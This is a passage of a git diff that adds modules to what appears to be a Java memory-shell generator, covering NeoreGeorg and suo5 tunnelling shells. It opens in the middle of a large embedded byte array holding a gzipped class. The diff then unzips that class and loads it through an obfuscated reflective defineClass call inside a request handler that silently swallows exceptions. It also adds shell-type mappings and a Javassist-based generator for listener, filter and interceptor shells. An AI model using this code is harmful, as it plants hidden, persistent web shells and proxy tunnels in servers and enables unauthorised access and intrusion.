11, 16, -100, 117, -77, 87, 33, 8, -51, 9, -26, -19, -46, 47, 26, -116, -60, -120, -87, 90, 55, -10, -38, -20, 115, 17, -60, -75, -63, -109, 88, -36, 73, 117, -25, 45, -102, 61, -106, -105, -119, -64, -108, 38, -43, -115, 61, -99, -51, -102, -71, -41, -23, -111, 30, 61, -71, 94, -33, -116, 48, -85, 24, 82, 49, -86, -98, -106, 77, -35, -6, 64, -38, 52, -120, 20, 77, -59, 18, -35, -111, -40, 40, 41, -19, -5, 36, -91, 103, 109, 108, -61, 5, 61, 122, -73, -95, -109, -97, 68, -51, 67, 107, -115, -89, -11, 62, 61, 73, -62, -116, -43, -48, -70, -87, -57, 115, 55, -57, -30, 20, 37, 69, 122, 41, -47, -8, -122, -60, 122, -67, 93, 79, -81, 75, -12, 32, 44, 43, 98, -64, -79, -62, 22, -95, 63, -69, -104, 88, -29, -14, -119, -49, 65, 56, -1, -1, 76, -67, 57, 22, 73, -91, -114, -103, -97, 59, 25, -119, -9, 44, -38, -100, -42, -55, -36, -82, -70, -42, 86, 67, 67, -49, 90, 6, -84, 72, -112, -38, -28, 103, 14, -128, 86, 2, 70, -29, -23, 21, 9, 11, 85, -84, 51, 49, 93, 27, -12, 100, -76, -105, 28, -36, 88, -60, 65, 6, 100, 83, 99, 92, 79, 55, -90, 82, -79, -58, 112, -72, 45, 108, -58, -70, -31, 58, 95, -9, 58, -67, 123, 125, 115, 44, -86, 19, -35, -28, 96, 42, -83, -109, 49, 67, -74, 35, 82, 122, -9, 96, 50, -102, -34, -36, -40, -83, 39, -45, -115, -25, -100, 124, -62, 105, -51, -76, -120, -10, 70, -69, 35, 105, -67, -120, 5, 102, -81, -110, -16, -53, 54, -47, -80, -98, 36, -71, 114, 68, 125, 125, 122, 122, 97, 55, -121, -107, -34, -45, -102, 74, 13, -22, 73, -46, -32, -72, -70, -39, -57, -60, -118, 94, -24, -68, -18, -104, -15, -124, 20, -56, -62, 62, -124, 9, 69, 108, -85, -64, 61, 112, -81, 2, 123, -32, 62, -124, -78, 49, 113, -93, -32, 101, 120, 57, -126, 119, -76, -44, 100, 126, 18, -83, -117, -104, -21, -55, -126, 99, -109, -86, 2, 79, -61, 15, 17, 74, 13, 120, 52, -47, 104, 35, 2, -31, -46, -67, -26, 4, 81, -113, -89, -37, -12, 120, 95, 122, 29, -95, 17, -88, 53, 62, 48, -104, 38, -38, 122, -92, -97, -28, -76, -17, -27, 65, 21, -68, 2, 47, 87, -16, 74, 120, 17, 97, -14, 104, 113, 22, 13, 70, 99, 61, 44, -19, 87, -16, -85, -92, 43, 94, -91, -32, -43, 120, -115, -126, -41, -30, -41, 20, -4, 58, -33, -69, 22, -81, 83, -32, 32, 28, 82, -16, 122, -4, -122, 2, 79, -64, -109, 54, 27, -125, 76, -18, -19, 42, 120, 3, 126, 83, -63, 111, -63, 62, 5, -65, -51, 54, 19, 86, 116, -82, 108, 81, -16, 70, -4, -114, 2, -113, -63, -29, 20, 64, 73, 61, -91, -89, 77, 3, -40, 47, 73, 49, 40, 113, -72, -84, -20, 108, 99, 1, -120, -60, 54, -36, -114, 80, -98, 59, 88, -102, 78, 15, -48, 33, -87, 30, 39, 3, 25, -100, 110, 98, -76, -17, -30, -51, 8, -43, -123, -15, -58, -72, -87, 81, -56, -73, -64, 67, 10, -34, -118, 59, 40, 27, 82, 56, 74, 120, -101, -126, 59, -15, 118, -117, -61, -56, 85, 35, 116, -38, 35, -15, -120, -31, -68, 93, 120, -121, -126, -33, -61, -116, -126, -33, -57, 59, 77, 67, 47, 53, 82, 91, 71, -92, -97, 31, -125, 106, -120, 103, 36, -26, -106, -8, 96, -65, -98, -116, 48, 51, 9, 127, -96, -32, 93, -72, 91, -63, -69, -15, 30, 9, -17, 85, 112, 15, -34, 39, -31, 94, 5, -17, -57, 7, 20, 124, 16, -77, -90, -10, 38, 41, 5, 30, -127, -61, 10, -18, -61, 33, 5, -9, -29, 67, 10, 28, -127, -89, 20, 56, 0, 15, 43, 120, 0, 31, -106, -16, 32, -101, -108, -20, -2, 8, 30, -106, -16, 81, 5, 31, -61, -57, 37, 124, -126, -124, -79, -94, -96, -63, 12, 3, 5, -97, 100, -21, -106, -83, -96, 103, -99, -22, -43, -109, 13, 45, -100, -31, -56, -73, 10, 30, -127, -61, -60, 48, -107, 99, -120, 79, -111, 71, -31, 29, 124, 90, -63, 31, -30, -45, -26, 81, 56, 77, -59, -122, 52, -86, -76, 67, -121, -97, -5, -62, 100, 50, -78, 121, -7, 96, 58, 23, 68, 18, 62, -93, -32, -77, -8, 28, -117, 116, 21, 93, -116, -12, -12, -40, 52, -81, -90, 0, -63, -25, -15, 26, -124, 18, -61, -63, -117, 6, 123, 123, 57, 100, -91, -26, -27, 29, 29, 45, -51, 43, 20, 124, -127, 66, 0, 95, -60, -105, 20, 124, 25, 95, -55, 119, 109, 43, 13, -31, 68, -9, 122, 122, -85, 61, 61, 116, 57, -59, 17, -16, 35, 9, 95, 85, -16, -57, -8, 19, 5, 127, -118, -81, 41, -80, 23, -18, 87, -16, 103, -8, 58, 21, -49, -27, -53, 40, -84, -106, 44, 108, 109, -93, -44, -76, -72, 53, -100, 99, -16, 6, -2, 28, -95, -54, 36, 75, 26, 116, -81, -117, -112, -5, 99, -87, 70, -109, 118, -77, -71, 85, -16, 23, -116, 38, 116, -74, 44, 92, 44, -31, 47, 21, 124, 19, -33, -94, 103, -127, 111, 43, -8, 43, 54, -9, -81, 21, -4, 13, -2, 86, -63, -33, -31, -61, 36, -4, -110, -27, -99, 93, 11, 59, 23, 51, -25, -33, 43, -8, 14, 31, -68, -53, 62, -68, 1, -33, -90, -6, 55, -10, 25, -79, -50, -4, -118, -2, 64, 98, -50, -97, -49, -85, 63, 34, -32, 124, 86, -24, 61, -66, -11, 30, -19, 26, 20, -4, 19, -2, 89, -63, -9, -7, -123, 125, -64, -61, 95, -16, 67, 5, -1, -54, 116, 63, -30, -40, -48, 114, -106, -23, -48, -45, 27, 19, -55, -11, -100, 76, -110, -67, -111, 110, 93, -63, -65, -31, -121, 8, 19, 11, 76, 103, 25, -51, -114, 70, 27, 124, -110, 109, 76, -4, 59, -15, -128, -3, -16, 16, -62, -44, 49, -34, 45, -56, 16, 87, 26, 25, 2, 63, 86, -32, 5, 120, 81, -127, -25, -32, 121, 5, 94, -126, -105, -87, 63, 25, 85, 100, 20, -4, 7, 126, -94, -32, 63, -15, 95, 10, -2, 27, -1, 99, 103, 42, 3, -95, 45, -63, -23, 45, -17, 70, 120, 93, 34, 73, 25, -19, 25, 120, 86, -127, 79, -15, 83, 9, -121, 21, 7, -112, -78, 14, -60, -101, 21, -121, -61, -31, -76, 19, -96, -15, -114, 58, -87, 42, 37, -6, 21, -121, -32, 16, 21, -121, -117, -93, -84, -26, 127, -49, -43, 118, -22, 53, 40, 44, -115, -92, -42, 81, -101, 68, -63, -47, -95, 39, -110, -6, -103, 52, -112, 64, -45, 70, -91, -120, 68, 42, 29, -89, 71, -68, -118, -85, 88, -108, 3, 117, 20, 2, 115, -56, 79, 6, 84, 55, -118, -56, -111, 39, 67, 46, 5, 82, -35, -96, -126, -71, 42, 18, 27, -44, -115, -42, -85, -107, 31, -54, -122, 72, 52, 22, 89, 27, 35, -120, 64, -74, -90, -108, -25, -118, 12, 12, -24, 113, 90, 52, 28, 83, -125, 100, 101, -24, 38, -85, 42, 83, 59, 39, -89, 19, 118, 45, -103, 88, 87, -76, -93, 114, -89, 6, -41, -90, 44, -108, 73, 92, -31, -117, 33, -71, 98, 86, 21, 81, -21, -118, 35, 72, 27, 88, -109, -27, -67, 6, -115, 124, 12, -69, 53, 34, -111, 54, 114, 125, 58, 74, -81, 70, -94, -118, -67, -79, -63, 20, -79, 16, -69, 99, -119, 20, -31, -71, -69, 19, -3, 3, -111, -92, -66, 34, 113, -108, 59, 100, -78, -46, 4, -103, 103, 36, -127, 83, -66, -80, -107, -76, -54, -60, -56, 25, 73, -32, -91, -116, -45, 73, -115, -83, -98, -54, -43, -108, 18, 2, 45, 78, -104, -39, -117, -84, 94, 119, 46, 75, -30, -119, -90, 90, -29, -87, 116, 36, -34, 77, 98, 76, -32, -108, 56, 38, 14, 106, -21, 70, 117, 47, -93, 81, 12, -107, -90, 20, -30, 80, 73, 49, -46, -15, 38, 98, 85, 98, -108, 99, -101, -55, -15, 71, 117, 111, -79, -37, -92, -118, -64, 29, 7, 66, -105, -43, 15, -115, 96, 45, -45, 55, 91, -79, -40, 52, -6, 40, 63, 80, -101, 70, -11, 54, 97, 94, -24, -26, -77, 50, 68, -25, 14, -62, 76, -119, 75, 34, -35, -23, 68, -110, 122, -72, -102, -70, 34, 34, 21, -32, 52, -103, -26, 26, 13, 46, 98, -82, 49, 55, -103, 103, 94, -95, 108, 78, -60, 98, -90, -33, 40, 101, 9, -79, 104, 42, 61, 98, -92, -47, -107, -44, 126, 8, 6, -36, -56, 87, 109, -124, -49, 65, -103, -44, -87, -49, -29, 88, -102, -112, 127, -43, 56, 101, 126, -91, -123, 48, 126, -110, 105, -90, -103, 72, 114, 24, -25, 83, 109, -75, -32, 68, -44, 55, 22, 74, -100, -42, 69, 82, 29, -122, 95, -23, 41, 83, -13, 42, -60, -115, 77, -31, -109, -53, 53, -43, -66, -111, 56, 60, 59, 73, 17, -100, 76, 111, -26, -122, -13, 40, 29, -14, -104, -121, 50, -98, 92, -109, 95, 111, 41, -50, 108, 62, -108, -76, -13, 79, -72, 59, 37, 100, -85, 41, 23, -22, -116, -98, 124, 98, 49, 76, 82, -127, 50, 6, -67, 126, -117, -66, 89, -80, -105, 68, -11, 88, 15, -35, 44, 43, 48, -122, -7, -19, 57, -82, 0, 64, 41, -126, 62, -28, -62, -36, -78, 21, 34, 19, -88, 16, -39, -64, -15, -102, -97, -105, -83, 125, 113, -54, -67, -51, 17, 118, 81, 105, 33, 87, 83, -116, 78, 61, 53, 64, 33, -96, -101, 31, -91, -109, -13, -44, -52, 43, 73, 77, -26, -27, -106, 100, 50, -111, -76, -75, -55, -17, -91, 55, 83, -101, -33, -49, -23, -107, 67, -93, 59, 49, -80, -103, 63, -24, -58, -6, -91, -75, 8, -56, -80, -121, 64, -90, -89, -5, 50, 37, -93, -108, 110, 124, -13, 8, -100, 118, 56, -86, -19, 100, 115, -44, 70, -126, 115, 103, -54, 0, 112, 16, -26, -27, 38, 19, -85, -87, -8, -9, -79, -23, -122, 81, -72, -28, -94, 110, 51, -101, 81, -119, -82, 27, 77, -55, -86, -29, -26, -43, 50, 66, -20, -115, -10, -47, -117, 94, 68, 31, -56, -21, -115, -36, 94, 71, -71, -83, -104, -76, 58, -65, 51, 46, 58, 35, 18, 59, -115, 100, 120, -22, 127, -1, -76, -4, 111, 95, -115, -50, 62, 22, 119, 86, 17, 2, 69, -47, 93, 73, -67, 63, -79, 65, -73, -65, 21, -30, 86, -21, 97, 55, -121, 114, 36, -58, -97, -7, 92, 59, -90, -28, -118, 75, 33, 82, 19, 31, 21, 61, -32, 42, 33, 26, -98, -49, 89, -108, 17, 44, -46, 84, 107, -12, 72, 50, -33, 53, -71, 67, 34, 89, -110, 78, -28, 90, 32, 106, -72, 70, 126, -23, 24, -61, 92, -24, -115, 69, -23, 13, 40, -108, 6, 58, -11, -2, 8, 37, 103, 54, 121, 69, 93, 115, -79, 26, 109, -35, 9, 28, 99, 73, -73, 89, -44, 25, -82, 21, 83, 3, 49, -50, -4, -59, -46, 69, -63, 47, 25, -71, -46, 76, 90, -84, -92, 46, 34, 105, 62, 51, -87, -49, 44, 103, -108, 7, 104, 53, -70, 117, 76, -79, -102, -7, -49, 55, 63, -51, -110, 1, 73, -65, 118, 122, -79, 45, 49, -67, -97, 62, 42, 8, -69, -124, 19, -99, -75, 53, -117, 70, 94, -77, -55, -28, 74, 45, 126, -71, -2, -45, -54, 51, -83, 102, 106, 50, 26, -59, 60, -5, -113, 116, -113, 92, -81, -93, -87, -123, -87, 20, -1, -60, 69, -31, -71, 36, -103, -24, -25, -116, 58, 6, -49, -56, -73, 43, 86, -97, -35, 66, 113, 95, -124, -56, 25, 69, 12, 53, -10, -9, -112, 124, -10, 73, -67, -105, -33, 68, -93, -39, 35, 52, 89, 101, -68, -40, 25, -1, -40, -109, -30, -97, 14, 72, 74, -93, 109, 27, -105, 50, 127, 74, -80, -9, 46, -13, -25, 26, -124, -45, -118, -68, -123, 99, -3, 13, 70, 98, 27, -101, 121, -89, -50, 48, -100, -101, 1, 70, 82, -121, -23, 112, 23, -108, -128, 3, 118, -61, -35, -32, -92, -7, 30, -72, 23, -128, -26, 61, 112, 31, -51, 110, -2, 32, 2, -124, 7, 12, -40, -125, -32, -93, 117, 22, -10, -47, 56, 68, -112, 50, -102, -111, 102, -47, 79, 16, 70, -25, 95, 14, -24, 11, -64, 60, 118, -67, 5, 46, 56, -114, -26, -117, -21, 15, -125, -125, -2, -75, 7, -100, 115, 58, 2, -62, -100, -112, -32, 15, -120, 115, 14, -125, -109, -2, 61, 8, -76, 113, -47, 70, -92, 127, 15, -126, 43, 32, -47, 90, -54, -126, 28, 20, 3, -78, -67, 116, 5, -68, 46, 123, 45, 5, -68, -116, -30, 14, -55, 1, 111, 14, -63, 29, -16, -70, -19, -75, 39, -32, -11, -40, -21, -110, -128, -73, -60, 94, 43, 66, 112, -100, 24, 44, 117, 5, -57, 75, 65, -81, 28, 44, -13, -70, -126, 62, -81, 20, -100, 64, -21, -119, 94, 119, 80, -43, 4, -97, -57, 121, 16, 74, -122, 64, 57, 12, -29, 66, -109, -68, 117, -76, 9, 77, 54, -89, 41, -66, -46, -112, 70, 127, -27, 13, -66, -15, 57, 36, -55, -92, -20, -72, 21, -18, -94, -93, -118, 6, -97, 55, 119, 84, 22, -102, -86, 77, -51, -126, 47, 88, -87, 86, 58, 118, -128, 43, 3, -89, -88, -107, 15, -53, -95, 105, -38, 84, 109, 90, 22, 38, -104, -80, -38, 3, 48, 113, -11, 62, 80, -75, -118, 44, 76, 58, 0, -18, -43, -38, -76, 125, 48, -103, -42, 89, -104, 18, -86, -56, 12, 63, -94, 122, -124, 29, 16, -46, 42, -100, 106, 73, 22, -76, -112, -90, 85, 48, 106, -71, -86, -12, 24, 51, -61, -54, -75, 10, 62, -84, 8, -47, -111, -45, 62, -27, -125, 10, 63, -17, -90, -122, 42, -75, 74, -43, 61, 4, -107, 67, 48, 45, 52, 57, 99, 32, 78, -30, -109, -22, 44, 76, -41, -120, 83, 13, 15, -75, -50, -35, -38, 100, 117, -94, 97, 88, 34, 116, -60, 113, 5, 109, 85, 99, 75, -118, -8, 102, 100, 97, -26, 54, 80, 12, -118, -77, -74, 59, -94, -116, -117, 97, 70, -95, 81, -16, 29, 103, -23, -35, -43, -32, -85, -53, -103, -64, 29, -86, 60, 0, -77, 87, 107, 21, -5, -64, 79, 122, -109, -42, 20, 6, -127, 80, -107, 86, -91, 85, 102, -95, 65, -85, 18, -78, 112, -68, -81, 81, -85, -54, -62, 9, -37, -128, -26, -61, -48, -24, -49, -62, -119, -66, 57, 67, 48, 55, 84, -83, 85, -93, 112, 16, 78, 90, -19, -12, -121, 49, 11, 39, 27, -57, 26, -55, 28, -52, -62, 41, 13, -66, 83, 115, 108, 78, 99, -44, 33, 8, -123, -90, 107, -45, -121, -96, 73, -101, -66, 31, -26, 33, -124, 106, -76, -102, -3, 48, 31, 97, 27, -52, -31, -43, 2, 4, -106, -88, -74, -63, 119, 58, 81, 45, 89, -19, -44, 106, -61, -106, -108, 51, 72, -96, -38, 33, 56, 67, 35, 37, 23, 102, -122, -97, 41, -18, -31, 21, 44, -25, -94, 80, 77, 6, -92, 16, 25, -53, 118, -100, 70, -50, -14, -109, 29, 76, 3, 55, 103, 97, 49, 1, -76, 114, -53, -123, -75, 90, 109, 22, 90, -120, 67, -115, 54, -61, -87, -51, 56, -108, -123, 37, 90, 77, 22, -50, -28, 97, 41, 19, 108, -35, 15, 103, -15, -117, 89, 86, 32, -15, 89, -7, 18, 107, -75, 71, 32, -88, -43, -6, -38, -78, -48, -66, 29, 2, -76, -22, 48, 86, 53, 44, 118, 22, -106, 19, 117, -63, 119, -74, 104, 43, -75, 90, -48, 102, -80, 102, 93, -103, -31, -67, -52, -31, 51, 101, 120, -35, 78, 24, -57, -53, 78, -106, 126, 38, -81, -62, -52, -20, 41, -48, -24, -26, 10, -45, 28, -86, 72, 10, 24, -9, -100, -69, -53, 4, -96, 72, -99, 113, 0, 86, -110, -118, -85, 66, 51, 89, 122, 10, -39, -43, -63, 90, -78, -61, 52, -75, -106, 14, 103, -79, 62, -77, -100, 42, -39, -83, 75, -101, -87, -51, -54, -62, 57, -103, -31, -41, -75, -103, 89, 88, 77, 103, -126, -17, 92, 83, 30, 95, 27, -53, 67, -89, -27, 67, 112, -98, 65, 125, -124, -93, 33, -100, -51, -108, 34, -110, -80, 62, 59, 58, 34, 5, -33, -7, 118, 100, 21, 19, -107, -20, 94, 106, -121, -24, 17, -4, -104, -74, -29, -115, 109, 37, 69, -20, -25, 40, 98, -73, 3, 7, -86, -49, -128, 77, -93, -43, 4, 94, 13, -63, 5, -63, -86, 33, 88, -61, 97, -109, -123, -56, 1, 88, 75, -81, 78, -83, -38, 7, -35, 101, 37, 67, 89, -24, -47, -86, -99, 89, -48, -69, -10, 66, -81, 86, -87, 85, -17, -121, 62, 39, -87, 56, 69, -11, -6, -42, -123, 51, -104, 34, 58, -68, -114, -122, 105, 42, -29, -104, -82, 38, -24, -7, -60, -17, 66, -125, 95, -125, 113, 109, 63, -84, 119, -112, -13, 98, 102, -44, 71, -78, -48, -97, 1, 49, 84, 101, -99, -59, 29, -48, -107, -63, -39, 116, 39, 97, -36, -71, 107, -52, -99, 35, -80, 81, 117, 13, -63, 0, -67, -107, 105, 108, -90, -117, -126, -43, -86, 20, -100, -18, 12, -42, -40, 62, -87, 85, -85, 111, -127, 78, -75, -102, -3, -60, 24, 73, -118, 46, -89, 90, -51, -34, -88, 101, 103, -99, -61, -64, 84, -105, 90, -93, 86, -81, 9, -46, -96, -70, 110, 3, 15, -19, -90, -33, 6, 94, -110, 124, 28, 71, 78, 58, -100, -127, -15, 57, 6, -103, -31, 123, 109, 45, 97, 18, 49, -50, -45, -78, -54, -48, 18, 54, -110, -60, -125, -122, -60, -3, -93, 37, -98, -84, -114, -77, 50, 56, 63, -17, 67, 44, 58, 89, -105, 47, 110, -24, 98, 43, 111, 52, -58, 77, -37, -96, -108, -8, -47, 106, 51, 69, -25, 7, 57, 118, -45, -118, -80, -77, 13, -89, -47, -21, -102, 82, -16, -70, -14, 34, 36, 3, 85, -102, -111, 54, -3, -102, 76, -103, -50, 72, -99, 5, -57, 66, -69, 115, 55, 21, -73, 103, -15, 42, -68, 22, -86, 28, 79, 56, -98, 117, -68, 0, 85, -62, 22, -31, 41, -31, 25, -102, 63, 17, 81, 20, -96, 74, 108, 16, -17, 22, -9, -48, -4, -90, 107, -86, -85, 10, -86, -88, -120, -19, 114, 109, -122, 42, -68, -61, -15, 50, -49, -114, 87, -100, 119, -13, -20, -68, 71, 8, -14, 44, -100, -30, -38, -64, -77, 81, -19, 14, -64, -61, 102, -75, -61, 73, 32, -126, 76, -77, -25, 0, 108, 33, 39, 125, -66, -67, -2, -48, 2, 103, 80, 80, -123, -54, -99, -16, 81, -67, 42, 92, 38, -32, -36, 50, 24, -34, 26, 20, 9, -76, 3, -22, 3, -2, 7, 64, 80, 69, -15, -30, -109, -78, 112, 113, -105, -75, 115, 109, -107, 54, -103, 123, -33, 23, -78, -80, -75, 43, 3, -5, -13, -81, -70, -116, -85, 45, 71, -67, -86, -70, -54, -32, -125, -83, -46, -59, -105, -28, 29, -72, -68, -29, -73, -118, 54, -47, 47, -102, 68, 123, -14, -119, 74, -1, 15, 114, -86, 84, 6, -121, -73, 122, 93, 5, 71, -110, -9, -12, -83, -58, 54, 51, -84, 4, -78, 112, -55, 30, -85, 35, 56, 8, -121, 44, 27, -7, 64, 0, 15, -51, -82, 122, -54, -117, -19, -127, 67, 11, 56, -96, 43, -9, -63, -91, 33, -63, 73, 118, 17, -55, 84, -17, 16, 41, 87, 64, 21, 47, 19, 113, -18, 92, 82, -104, 97, 110, -43, -27, -72, 117, -8, 93, 26, -115, -78, -7, 100, 1, -118, 100, -95, 72, 6, -118, 100, -94, -20, -44, 72, 82, 22, -45, 123, 2, -53, -97, -123, 47, 89, -8, 65, 89, -107, -67, -13, 119, -128, 91, -93, -14, -109, -34, -61, -108, 84, -103, -95, 38, 17, 74, -11, -61, -81, -47, 104, 16, 57, 95, 99, -99, -58, -77, 33, 100, -17, -68, -83, 98, 1, 29, -73, -22, 30, 77, -57, -51, 80, -109, -114, -37, -96, -29, 54, -23, 80, 107, -95, -54, 46, -78, -42, 38, -43, -51, 36, 50, -61, 83, -52, 91, -122, 125, 100, -2, 97, -98, -102, 43, 110, -88, 82, 100, 31, 23, -51, 125, -66, -46, 54, -65, -17, -53, 89, -72, -116, -115, 100, 71, -47, -46, -128, 74, -51, -109, 104, -43, -98, 122, -82, 52, -94, -109, 8, 81, 17, -70, -36, -40, -48, -70, -62, 44, 61, 109, 121, 72, 76, -57, -128, -111, -57, 51, -61, 67, -11, 78, 2, -106, 11, -36, 35, -104, 2, 60, 74, 127, 2, 57, -120, 3, -6, 49, 120, -36, 18, 101, 61, 117, -125, 18, -51, 23, 112, 17, -81, -89, 26, -98, -123, 43, -38, -121, -32, -54, -114, -122, -3, -16, 21, -82, 82, 103, -46, -30, -85, 92, -92, -82, 10, 9, -84, -50, -43, 33, 81, 19, -83, -77, 58, 94, 25, -121, -41, -124, 92, -102, -21, 81, -72, 118, 27, -108, 105, -82, 44, 124, -115, -30, -30, -21, -37, 64, 20, 118, 103, -122, 95, -51, 12, 103, -23, 125, 22, -118, -32, -26, -1, -13, -79, -38, -53, 107, -23, 69, 81, -76, -64, -91, 70, 15, -42, -18, 92, -32, 63, 20, 20, 36, -54, 121, -82, 3, 112, -35, 106, -22, 57, -81, 15, 73, -107, -86, -80, 19, 34, 26, 85, -23, 111, 4, 69, 77, -46, 92, 78, -51, 69, 117, -10, -122, 46, -115, 50, -24, 55, 73, 83, -71, -121, 93, 78, -105, -36, 116, -22, 118, 106, 110, -29, -76, -110, 96, 107, -42, 44, 80, 69, 97, 23, 53, 76, -94, -41, 125, 59, 76, 32, -49, 26, 61, -104, -101, 18, 9, -91, 37, 55, -19, 53, 119, 56, 51, 124, 107, -64, -76, -109, -101, -1, -53, -60, 18, -19, 106, 18, -105, -83, -77, -47, -17, -108, -67, 19, -121, -32, 91, 97, -65, -9, 56, 107, 101, 37, 105, -110, -73, -46, 127, 104, 39, 116, -6, 43, -25, 28, -127, 37, 52, -78, -99, 30, 5, -9, 54, -54, -63, 2, 85, 34, 110, 13, -60, 12, -43, 102, -63, -54, -99, 98, -96, -110, 3, 76, 19, 15, -79, -36, 107, -122, -32, -37, -108, -55, 105, -53, -43, -107, -114, 93, -105, 57, -55, 127, -9, 4, -116, -56, 65, -24, -124, 62, -72, -48, 112, -102, -101, -1, 27, -49, 114, 91, -52, -118, -96, 53, -127, 67, 7, -31, -58, 14, 35, 116, 2, 36, -59, 50, -114, -99, 44, 124, 39, 36, -6, 36, -90, -72, 109, 27, -108, -20, -123, -19, 44, -64, 12, -33, 77, 35, -112, -17, 50, -60, -25, -69, -39, -126, -56, 123, -31, -106, -112, -40, -96, 10, -102, 24, 54, -62, -25, 1, 127, 125, 67, 96, 8, 110, 29, 29, 58, 110, -2, -31, -35, -110, -31, 68, 10, 29, -106, 97, -90, -97, 25, -110, -46, -11, 36, -13, 14, 14, -113, 44, -36, -74, -99, -98, 12, 7, -22, 78, 77, -12, 55, 100, -31, -10, -79, -124, -98, -125, -25, 45, 43, 31, 79, -124, 68, -102, -87, -18, -19, 34, -109, -34, -47, 30, -88, 40, -17, 17, -42, 100, -31, 123, -27, 107, 22, 112, 59, 45, 4, 56, -14, 50, -102, 96, 123, -24, 5, 120, -47, -70, 123, -118, -15, 53, 3, 80, -17, 119, 25, 105, -50, 47, 26, -109, 87, -34, 116, -119, 95, 48, -105, 94, 90, 58, -51, -27, -108, 77, -105, -52, -85, -40, 109, 17, 121, 9, 94, -74, -120, -100, 78, 66, 49, -111, -71, 20, 117, 109, -11, -82, 114, -58, -67, 126, 69, -67, 88, -18, -107, -73, 88, 107, -95, -36, -21, -75, -41, -50, 114, -17, 20, 123, 109, 39, -65, 87, -32, 71, 22, -79, 82, -102, -99, 52, 59, -124, -35, -42, -39, -85, -16, 99, -53, 100, -29, -24, -113, -49, -84, -81, 40, -37, 28, 63, -95, -65, -97, 30, 11, -46, 107, -16, -77, -47, -33, 100, -44, 57, 125, -33, -50, 48, -81, -25, 62, -39, 38, 27, -6, 0, -108, 28, -128, 59, -55, -92, 63, -72, 31, 122, 77, 106, -16, 63, -22, -91, 95, 93, 55, 37, 0, 0}); + Class clazz = loader(clazzBytes); + namespace.put(charslist, clazz.newInstance()); + } + namespace.get(charslist).equals(args); + } + } catch (Exception ignored) { + + } + + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { + return null; + } + + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + public static byte[] unGzip(byte[] bytes) throws Exception { + java.io.ByteArrayOutputStream out = new java.io.ByteArrayOutputStream(); + java.io.ByteArrayInputStream in = new java.io.ByteArrayInputStream(bytes); + java.util.zip.GZIPInputStream ungzip = new java.util.zip.GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) out.write(buffer, 0, n); + return out.toByteArray(); + } + + public static Class loader(byte[] bytes) throws Exception { + java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader()); + java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), new Class[]{byte[].class, int.class, int.class}); + method.setAccessible(true); + Class clazz = (Class) method.invoke(classLoader, new Object[]{bytes, new Integer(0), new Integer(bytes.length)}); + return clazz; + } +} diff --git a/jmg-neoregeorg/src/main/java/jmg/neoregeorg/util/ShellUtil.java b/jmg-neoregeorg/src/main/java/jmg/neoregeorg/util/ShellUtil.java new file mode 100644 index 0000000..bd21e76 --- /dev/null +++ b/jmg-neoregeorg/src/main/java/jmg/neoregeorg/util/ShellUtil.java @@ -0,0 +1,42 @@ +package jmg.neoregeorg.util; + +import jmg.core.config.Constants; +import jmg.neoregeorg.memshell.NeoreGeorgFilter; +import jmg.neoregeorg.memshell.NeoreGeorgInterceptor; +import jmg.neoregeorg.memshell.NeoreGeorgListener; + +import java.util.HashMap; +import java.util.Map; + +public class ShellUtil { + + private static final Map SHELL_CLASSNAME_MAP = new HashMap(); + private static final Map> toolMap = new HashMap(); + + public ShellUtil() { + } + + public static String getShellName(String toolType, String shellType) { + Map shellMap = toolMap.get(toolType); + return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); + } + + public static String getShellClassName(String shellName) throws Exception { + if (SHELL_CLASSNAME_MAP.get(shellName) == null) { + throw new Exception("Invalid shell type '" + shellName + "'"); + } else { + return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); + } + } + + static { + SHELL_CLASSNAME_MAP.put(NeoreGeorgListener.class.getSimpleName(), NeoreGeorgListener.class.getName()); + SHELL_CLASSNAME_MAP.put(NeoreGeorgFilter.class.getSimpleName(), NeoreGeorgFilter.class.getName()); + SHELL_CLASSNAME_MAP.put(NeoreGeorgInterceptor.class.getSimpleName(), NeoreGeorgInterceptor.class.getName()); + Map regeorgMap = new HashMap(); + regeorgMap.put(Constants.SHELL_FILTER, NeoreGeorgFilter.class.getSimpleName()); + regeorgMap.put(Constants.SHELL_LISTENER, NeoreGeorgListener.class.getSimpleName()); + regeorgMap.put(Constants.SHELL_INTERCEPTOR, NeoreGeorgInterceptor.class.getSimpleName()); + toolMap.put(Constants.TOOL_NEOREGEORG, regeorgMap); + } +} diff --git a/jmg-suo5/pom.xml b/jmg-suo5/pom.xml new file mode 100644 index 0000000..394a87b --- /dev/null +++ b/jmg-suo5/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + + jmg + java-memshell-generator + ${revision} + + jmg-suo5 + + + + + jmg + jmg-core + ${revision} + compile + + + + diff --git a/jmg-suo5/src/main/java/jmg/suo5/generator/Suo5Generator.java b/jmg-suo5/src/main/java/jmg/suo5/generator/Suo5Generator.java new file mode 100644 index 0000000..a6c1ed1 --- /dev/null +++ b/jmg-suo5/src/main/java/jmg/suo5/generator/Suo5Generator.java @@ -0,0 +1,58 @@ +package jmg.suo5.generator; + +import javassist.ClassClassPath; +import javassist.CtClass; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.IShellGenerator; +import jmg.suo5.util.ShellUtil; +import jmg.core.util.CommonUtil; +import jmg.core.util.JavassistUtil; +import jmg.core.util.ResponseUtil; +import me.gv7.woodpecker.tools.common.FileUtil; + +public class Suo5Generator implements IShellGenerator { + + + @Override + public void initShell(AbstractConfig config) { + + } + + @Override + public byte[] makeShell(AbstractConfig config) throws Exception { + initShell(config); + String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); + String shellClassName = ShellUtil.getShellClassName(shellName); + byte[] bytes = modifyShell(shellClassName, config); + config.setShellBytes(bytes); + config.setShellBytesLength(bytes.length); + 